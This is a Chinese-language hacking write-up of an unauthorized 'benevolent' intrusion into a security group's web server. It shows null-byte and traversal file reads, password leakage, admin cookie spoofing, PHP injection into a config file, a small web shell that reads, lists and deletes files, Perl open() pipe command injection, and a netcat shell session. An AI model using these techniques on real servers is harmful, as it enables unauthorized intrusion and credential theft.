說明:本文類屬技術探討,沒有兀現測試站點的必要,故將相關信息隱去。
武學之中, 出其不意、劍走偏鋒才能發揮靈巧之長。在防火墻廣泛地應用于網絡之間執行訪問控制策略的今天,以往被漠視的CGI安全悄然興起,形形色色的腳本攻擊在防火墻的“認同”下大行其道,看似簡單的腳本實質上處處暗藏玄機。本文真實再現利用腳本缺陷善意侵入target的全過程,試圖讓您得到一點樂趣和啟示。
Target.ORG(target網絡安全小組)是國內較為知名的黑客/安全站點,偶然間,我們開始了對她的安全測試。
沒有任何遲疑,我們直接從WEB下手。據了解:target整站程序由站主NetHero編寫。基于代碼規模和復雜度方面的考慮,我們把目光集中到了網站論壇。我們習慣首先查看用戶信息,因為用戶名和用戶密碼總是緊貼著保存在一起,在這里我們更容易接近我們渴求的信息。提交如下URL
查看NetHero用戶信息:
正常返回用戶信息
出錯提示:論壇系統出現問題!
返回用戶信息的“發貼數量”出現了一個莫名其妙的字符串,其他的一部分信息也全亂了
看來這里有點問題,這個字符串到底是怎么回事?我們用以前申請的ID登陸上去后,看到每個URL的QUERY_STRING后面都有一個名為key的變量,而且其值和上述的字符串有些相似。難道這個是密碼?我們接連登陸幾次后,觀察到這個key值每次都不一樣,看來這個key是用來識別我們在論壇的身份,應該與用戶密碼沒有直接關系...還是先不管這個key值了,繼續用我們的ID做實驗,提交了這個URL
出來的還是跟先前類似的字符串,這個時候我們大膽猜測這個字符串是我們的密碼,通過驗證,我們發現這的確是把我們密碼經過標準DES加密后得到的字符串。這證明了我們的猜測是正確的,這個字符串中就是加密過后的用戶密碼。但為什么密碼會溜出來?于是我們接著推測:在用戶數據目錄里面肯定有兩個保存每個用戶信息的文件,一個里面保存有密碼,而另一個沒有,只有一些一般的信息,如郵箱,生日之類的。這兩個文件應該一個是username,另一個是username.xxx(加了一個后綴)。userinfo.pl這個程序使用open函數打開文件的時候沒有對user這個變量過濾完全,至少沒有過濾掉 ,這使得試圖打開username.xxx文件的時候實質上打開的并不是username.xxx而是username。打開文件的代碼可能是這樣寫的open(F,"$path/$username.xxx");所以當user=abcdef%00的時候相當于open(F,"$path/abcdef");而這個文件里正是保存用戶密碼的那個文件,所以部分用戶信息變量直接到該文件中錯誤地取值,之后再反饋輸出給用戶,這樣密碼就出來了。愜意...我們隨即找出了站長nethero的密碼,暴力破解的念頭一閃而過后,我們看還能不能進一步突破這個目錄,于是提交
密碼檔文件出來了,看來這里有搞頭,繼續
受頁面輸出格式限制,我們只能查看到/etc目錄中一部分文件和目錄;于是試著打開一些文件,但也只能查看到文件的一些很小的片段,幾乎沒什么用,連續查看了很多文件過后,都沒有新的突破,我們有點失望了。于是我們暫時把這個BUG放在一邊,看看還有沒有其他文件存在缺陷,繼續找一些CGI程序如display.pl,show.pl等,都沒有發現可以突破的地方,因為這些文件都做了一些過濾,看來這條路走不通了。
既然CGI方面不能突破,那就只有另想路子了。我們拿著那個userinfo.pl到處查看一些片段文件和目錄,首先搜尋apache的配置文件,最后在/usr/local/etc/apache目錄下找到了httpd.conf ,但還是只能查看文件頭幾行,這些根本沒什么用。又跑到/home目錄下看了看,嗯,有好多用戶,比先前查看/etc/passwd里面的用戶多多了,因為查看/etc/passwd的時候只能看到頭幾行,隨便進了一個用戶tomy的目錄,咦,見到了目錄/public_html,看來系統有可能給每個用戶分配了發布個人主頁的空間,有意思, 看在瀏覽器里面能不能訪問到
呵,看到這家伙的個人主頁了,再看看里面有什么東西,這時我們意外地發現了一個/phpmyadmin目錄,立刻訪問,發現竟然沒有密碼驗證?,F在的我們相當于得到了一個Mysql的用戶,我們試圖通過phpmyadmin往數據庫里寫東西,內容是一個小的phpshell,然后導出到主頁目錄里,忙活了半天,終于全寫進去了,但往硬盤上寫的時候卻發現沒有權限寫,一陣郁悶襲來...
繼續查看了幾個用戶的目錄,大部分都沒有發布更多的東西,只有些靜態的頁面。經過一番努力后,我們終于找到了冤大頭--shuaishuai(帥帥)這個用戶,轉到他發布的主頁上看看,哈,發現了這個
好家伙,看看能不能跳轉目錄
返回了下面這些東西給我們
Warning: is_file() [function.is-file]: SAFE MODE Restriction in effect. The script whose uid is 1007 is not allowed to access
./data//../../../../../../etc/passwd owned by uid 0 in /usr/home/shuaishuai/public_html/show.php on line 77
失敗,但并不是不能跳轉,只是沒有權限而已。那好,我們再試著看看能不能查看有權限的文件
呵呵,成功了,看到了post.php這個文件的源代碼,太棒了,我們就把這個做為突破口。但這個只能查看shuaishuai這個用戶的文件,不能查看到其他文件,而且只是能查看文件似乎還不夠,我們希望得到一個shell,這看起來似乎比較困難。還是另看看其他,其實shuaishuai的主頁上東西蠻多的,還有一個留言板,是X-pad.這個留言板可以讓用戶注冊后留言,每個注冊用戶在/User目錄下面都有一個配置文件,保留了用戶的一些信息,在查看注冊文件源代碼后我們發現它并沒有過濾完全,至少有一個變量可以使我們可以插入我們的代碼。于是我們申請了一個用戶在HOMEPAGE這個字段插入了我們的代碼,使我們的用戶配置文件看起來像這樣:
$User_Psw = "1234";
$User_QQ = "";
$User_EMail = "";
$User_Homepage = ",$b);unlink($a);#";
$User_Avatar = "Styles/Avatars/blank.gif";
$User_BBSMode = "0";
?>
上面這個php文件使我們可以上傳文件到指定目錄和刪除有權限刪除的文件.但在執行過程中卻發現不行,為什么?原來沒有看清楚
$User_Homepage = ",$b);unlink($a);#";
這一行中我們提交的"(引號)前面被自動插入了\,使得它不是php語句中的雙引號("),而是變量中的(") 。即$User_Homepage變量值為 “http://\";copy($a,$b);unlink($a);#” 整個字符串,并沒有起到預期的作用。看來 magic_quotes_gpc = on,再告失敗。
沒有氣餒,我們繼續耐心地查找其他可以利用的東西,馬上我們又發現了 這么個下載系統.經過查看目錄和查看下載系統的源文件(因為我們有權限查看這個目錄里的文件),在down_sys/data/user/目錄下面發現了管理員的用戶文件,里
面包含了密碼,但令人頭痛的是管理員密碼是經過md5加密的。此時我們沒有輕易放棄這個經加密的密碼,我們即刻查看管理員驗證的代碼,在/down_sys/admin/global.php這個文件中發現了其驗證方式包含cookie驗證,相關代碼如下:
......
if (isset($password)) $password=md5($password);
if (empty($username)) $username=$HTTP_COOKIE_VARS["bymid"];
if (empty($password)) $password=$HTTP_COOKIE_VARS["bympwd"];
if(!checkpass($username,$password)) {
admintitle();
adminlogin();
exit;
}
......
完全可以進行一次cookie欺騙。我們這里使用的是一種比較煩瑣的方法:先斷開網絡,將我們的IP改為target.org的IP,然后在%systemroot%\system32\drivers\etc\hosts文件里這個域名指向target.org的ip,做這一步是為了我們在斷開網絡的時候能夠成功的將解析成它的ip.最后在我們的iis里面自已建一個虛擬目錄/~shuaishuai/down_sys/admin/寫一個asp文件,把cookie設置為管理員的用戶名和加過密的密碼,asp文件內容如下:
然后訪問這個asp文件
留著這個窗口,把IP改回為原來的192.168.0.1,接著用這個窗口請求
管理界面出來了,通過了驗證。接著我們來上傳文件...可下面的事讓我們氣惱了好久,竟然沒有上傳文件的功能,Fiant,是一個沒開發完全的半成品,徹底失望了嗎?不,我們依然有信心,接著查看一下其他的文件,看看能不能對配置文件動點手腳,我們找到了一個class.php,里面保存的是下載系統的一些軟件分類信息,內容看起來像這樣:
5|安全工具|1028372222
8|紅客工具|1034038173
7|其它軟件|1034202097
....
我們試著往里面寫東西,于是在管理頁面新添加一個主分類,分類的名稱為"",提交過后class.php變成了這樣
5|安全工具|1028372222
8|紅客工具|1034038173
7|其它軟件|1034202097
9||1054035604
這個php文件可以讓我們上傳文件到有權限目錄和刪除有權限刪除的文件。于是我們在本地寫了一個表單,上傳一個phpshell上去,然后訪問
GOOD,返回了phpshell的界面...一陣高興過后,我們才發現這個phpshell什么命令都不能執行,原來網站PHP打開了safe_mode功能,限制我們執行命令。但我們已經有了很大的突破了,可以向服務器上傳文件了。接下來我們利用PHP豐富的內置函數寫了很多小腳本上傳測試,很不幸,系統利用 disable_functions 禁止了大部分的文件系統函數、目錄函數...好在并沒有趕盡殺絕,最后我們寫了下面一個php程序來查看一些有權限查看的目錄和文件:
$c = $HTTP_GET_VARS["c"];
$f = $HTTP_GET_VARS["f"];
if($c=="file") {
$file=readfile($f);
echo $file;
}
if($c=="dir") {
$h=opendir($f);
while($file=readdir($h)) {
echo "$file\n";
}
}
if($c=="del") {
unlink($f);
}
?>
在做了很多嘗試過后,我們發現在PHP上不能獲得新的突破,好在我們可以利用上面那個php程序來查看 目錄中程序腳本的完整的代碼,于是我們決定改向回到起點、查看CGI文件,由于沒有權限向可執行CGI程序的目錄里寫文件, 新寫一個CGI程序來執行命令是不現實的,所以決定利用現有的.pl程序來插入命令,目標自然是放在perl的open函數上,于是我們開始查找哪些程序用了open函數,但找了好多.pl文件,都沒有發現,但卻看到有好多readfile()函數,記得perl里面是沒有這個函數的,但這里卻用了很多readfile(),為什么呢?這肯定是他們自已定義的一個函數,我們看到每一個.pl文件前幾行都有一個use Club;原來這里有個模塊,于是查看Club.pm,很快便發現了open函數.
sub readkey {
my($file)=@_;
unless(open(FH,"$file")) {
errmsg("對不起!你超時了,請重新登陸");
exit;
}
unless(flock(FH,LOCK_SH)) {
errmsg("Can"t Lock file: $file");
}
my $data = ;
close(FH);
return $data;
}
這就是那個自定義的readfile函數,證實了我們的猜想,而且也找到了一個符合要求的open函數,接著搜尋哪個文件調用了這個函數,很快我們在change_pw.pl這個程序里找到了這個函數調用,這個程序用來修改用戶的密碼,不幸的是代碼在判斷用戶舊密碼是否正確前就調用了 readkey() 函數:
my $key_info=readkey("$key_dir/$key");
于是提交
>bbb%20|
再查看一下
Yeah!成功執行了...出現了我們期望的結果,這真是太妙了,可以利用這個來執行命令,就相當于得到了一個shell。但這樣辦事畢竟不方便,不能及時地查看我們的運行結果。因此我們又上傳了一個文件、編譯、執行,然后
D:\temp>nc -vv 12345
[211.161.57.29] 12345 (?) open
id
uid=80(www) gid=80(www) groups=80(www)
uname -a
FreeBSD ns8.target.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr 2 07:01:40 CST 2003
i386
哦,是FreeBSD 4.8-RELEASE,版本很高,提升權限比較困難,我們找了好久都沒有找到有效的local exploit,提升權限失敗,只好作罷。
到這里,我們的hacking基本上結束了。雖然沒拿到root,但至少拿到了網站WEB權限,對于我們CGI安全愛好者來說,應該算是完成了本職工作吧-)。之后我們迅速與站主聯系,提醒他網站存在安全隱患,但站主并沒有向我們詢問細節,他自己通過分析日志修復了漏洞。


